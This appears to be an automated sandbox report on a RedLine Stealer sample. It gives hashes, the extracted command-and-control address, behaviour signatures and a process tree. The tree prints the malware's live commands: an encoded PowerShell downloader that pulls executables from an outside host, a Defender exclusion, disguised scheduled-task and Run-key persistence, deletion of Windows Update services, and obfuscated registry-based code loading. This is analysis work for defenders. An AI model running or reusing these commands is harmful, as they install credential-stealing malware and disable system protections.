Analysis
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max time kernel
150s -
max time network
61s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
05-02-2023 13:17
Static task
static1
Behavioral task
behavioral1
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win10v2004-20220812-en
General
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Target
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
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Size
626KB
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MD5
47b01695ff80b03ae518b333163da42c
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SHA1
aa95d6c08ae9201828da23593e42df4a2e39ce82
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SHA256
474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
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SHA512
886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
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SSDEEP
6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1612-80-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1612-85-0x000000000041ADAE-mapping.dmp family_redline behavioral1/memory/1612-91-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1612-87-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1892 created 1232 1892 SmartDefRun.exe 14 PID 1892 created 1232 1892 SmartDefRun.exe 14 PID 1892 created 1232 1892 SmartDefRun.exe 14 PID 1892 created 1232 1892 SmartDefRun.exe 14 PID 1064 created 420 1064 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1800 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 5 IoCs
pid Process 1388 new2.exe 1096 C4Loader.exe 1892 SmartDefRun.exe 1524 SysApp.exe 788 fodhelper.exe -
Loads dropped DLL 9 IoCs
pid Process 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1980 WerFault.exe 1980 WerFault.exe 1980 WerFault.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1368 set thread context of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1388 set thread context of 1612 1388 new2.exe 35 PID 1892 set thread context of 1720 1892 SmartDefRun.exe 57 PID 1064 set thread context of 1832 1064 powershell.EXE 63 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2044 sc.exe 1212 sc.exe 1084 sc.exe 1928 sc.exe 1940 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1616 1368 WerFault.exe 26 1980 1388 WerFault.exe 32 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1540 schtasks.exe 308 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70f6b94d6439d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 37 IoCs
pid Process 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1524 SysApp.exe 1524 SysApp.exe 1524 SysApp.exe 1524 SysApp.exe 1524 SysApp.exe 1612 vbc.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1564 powershell.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 608 powershell.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1064 powershell.EXE 1492 powershell.EXE 1064 powershell.EXE 1832 dllhost.exe 1832 dllhost.exe 1832 dllhost.exe 1832 dllhost.exe 788 fodhelper.exe 788 fodhelper.exe 788 fodhelper.exe 788 fodhelper.exe 788 fodhelper.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 1800 powershell.exe Token: SeDebugPrivilege 1612 vbc.exe Token: SeDebugPrivilege 1564 powershell.exe Token: SeDebugPrivilege 608 powershell.exe Token: SeDebugPrivilege 1064 powershell.EXE Token: SeDebugPrivilege 1492 powershell.EXE Token: SeDebugPrivilege 1064 powershell.EXE Token: SeDebugPrivilege 1832 dllhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1368 wrote to memory of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1368 wrote to memory of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1368 wrote to memory of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1368 wrote to memory of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1368 wrote to memory of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1368 wrote to memory of 936 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 28 PID 1368 wrote to memory of 1616 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 1368 wrote to memory of 1616 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 1368 wrote to memory of 1616 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 1368 wrote to memory of 1616 1368 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 936 wrote to memory of 1800 936 vbc.exe 30 PID 936 wrote to memory of 1800 936 vbc.exe 30 PID 936 wrote to memory of 1800 936 vbc.exe 30 PID 936 wrote to memory of 1800 936 vbc.exe 30 PID 1800 wrote to memory of 1388 1800 powershell.exe 32 PID 1800 wrote to memory of 1388 1800 powershell.exe 32 PID 1800 wrote to memory of 1388 1800 powershell.exe 32 PID 1800 wrote to memory of 1388 1800 powershell.exe 32 PID 1800 wrote to memory of 1096 1800 powershell.exe 34 PID 1800 wrote to memory of 1096 1800 powershell.exe 34 PID 1800 wrote to memory of 1096 1800 powershell.exe 34 PID 1800 wrote to memory of 1096 1800 powershell.exe 34 PID 1388 wrote to memory of 1612 1388 new2.exe 35 PID 1388 wrote to memory of 1612 1388 new2.exe 35 PID 1388 wrote to memory of 1612 1388 new2.exe 35 PID 1388 wrote to memory of 1612 1388 new2.exe 35 PID 1388 wrote to memory of 1612 1388 new2.exe 35 PID 1388 wrote to memory of 1612 1388 new2.exe 35 PID 1388 wrote to memory of 1980 1388 new2.exe 36 PID 1388 wrote to memory of 1980 1388 new2.exe 36 PID 1388 wrote to memory of 1980 1388 new2.exe 36 PID 1388 wrote to memory of 1980 1388 new2.exe 36 PID 1800 wrote to memory of 1892 1800 powershell.exe 37 PID 1800 wrote to memory of 1892 1800 powershell.exe 37 PID 1800 wrote to memory of 1892 1800 powershell.exe 37 PID 1800 wrote to memory of 1892 1800 powershell.exe 37 PID 1800 wrote to memory of 1524 1800 powershell.exe 38 PID 1800 wrote to memory of 1524 1800 powershell.exe 38 PID 1800 wrote to memory of 1524 1800 powershell.exe 38 PID 1800 wrote to memory of 1524 1800 powershell.exe 38 PID 1244 wrote to memory of 2044 1244 cmd.exe 46 PID 1244 wrote to memory of 2044 1244 cmd.exe 46 PID 1244 wrote to memory of 2044 1244 cmd.exe 46 PID 1244 wrote to memory of 1212 1244 cmd.exe 47 PID 1244 wrote to memory of 1212 1244 cmd.exe 47 PID 1244 wrote to memory of 1212 1244 cmd.exe 47 PID 1244 wrote to memory of 1084 1244 cmd.exe 48 PID 1244 wrote to memory of 1084 1244 cmd.exe 48 PID 1244 wrote to memory of 1084 1244 cmd.exe 48 PID 1244 wrote to memory of 1928 1244 cmd.exe 49 PID 1244 wrote to memory of 1928 1244 cmd.exe 49 PID 1244 wrote to memory of 1928 1244 cmd.exe 49 PID 1244 wrote to memory of 1940 1244 cmd.exe 50 PID 1244 wrote to memory of 1940 1244 cmd.exe 50 PID 1244 wrote to memory of 1940 1244 cmd.exe 50 PID 1244 wrote to memory of 1800 1244 cmd.exe 51 PID 1244 wrote to memory of 1800 1244 cmd.exe 51 PID 1244 wrote to memory of 1800 1244 cmd.exe 51 PID 1244 wrote to memory of 1832 1244 cmd.exe 63 PID 1244 wrote to memory of 1832 1244 cmd.exe 63 PID 1244 wrote to memory of 1832 1244 cmd.exe 63 PID 1244 wrote to memory of 1588 1244 cmd.exe 53 PID 1244 wrote to memory of 1588 1244 cmd.exe 53 PID 1244 wrote to memory of 1588 1244 cmd.exe 53
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:476
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:468
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{11942d69-41e3-4a40-8a5e-ea05f14bfd99}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:484
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1232
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C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1388 -s 486⤵
- Loads dropped DLL
- Program crash
PID:1980
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1096
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1892
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1524 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:308
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 483⤵
- Program crash
PID:1616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:608 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1540
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2044
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1212
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1084
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1928
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1940
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1800
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1832
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1588
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1768
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:964
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1720
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C:\Windows\system32\taskeng.exetaskeng.exe {BD87834D-2E99-43D9-9DEB-6A4FEAF6CE54} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:908
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'TW'+'A'+''+[Char](82)+'E').GetValue('d'+[Char](105)+''+'a'+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1064
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C:\Windows\system32\taskeng.exetaskeng.exe {40F07B1B-E758-4BC3-B1D0-7429641DDBE4} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]1⤵PID:1748
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:788
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
